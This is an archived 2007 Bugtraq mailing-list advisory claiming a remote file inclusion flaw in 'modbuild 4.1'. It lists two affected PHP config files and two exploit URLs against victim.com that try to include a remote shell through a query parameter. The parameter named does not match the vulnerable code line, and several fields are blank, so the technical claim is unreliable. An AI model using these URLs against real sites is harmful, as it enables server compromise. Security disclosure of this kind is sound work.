bugtraq - modbuild >> 4.1 Remote File Inclusion

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20070425224016.8298.qmail@securityfocus.com>
Date: 25 Apr 2007 22:40:16 -0000
From: s433d_only_linux@...oo.de
To: bugtraq@...urityfocus.com
Subject: modbuild  >>    4.1     Remote File Inclusion

####################################################
modbuild  >>    4.1     Remote File Inclusion
####################################################
Affected Software .:    
Download..: 
Risk ..............: high 
Date .........: 26/4/2007 
Found by ..........: s433d_only_linux 
Contact ...........: s433d_only_linux@...oo.de 
Web .............: Www.hackerz.ir 
special thanx ........... B4h4r3h_ir my best friend :x & ali jasbi
####################################################

####################################################
Affected File:
oneadmin/config-bak.php include_once($path["docroot"]."common/include.php"); 
oneadmin/config.php include_once($path["docroot"]."common/include.php"); 
####################################################
Exploit:
http://victim.com/oneadmin/config-bak.php?include_once=shell?
http://victim.com/oneadmin/config.php?include_once=shell?
####################################################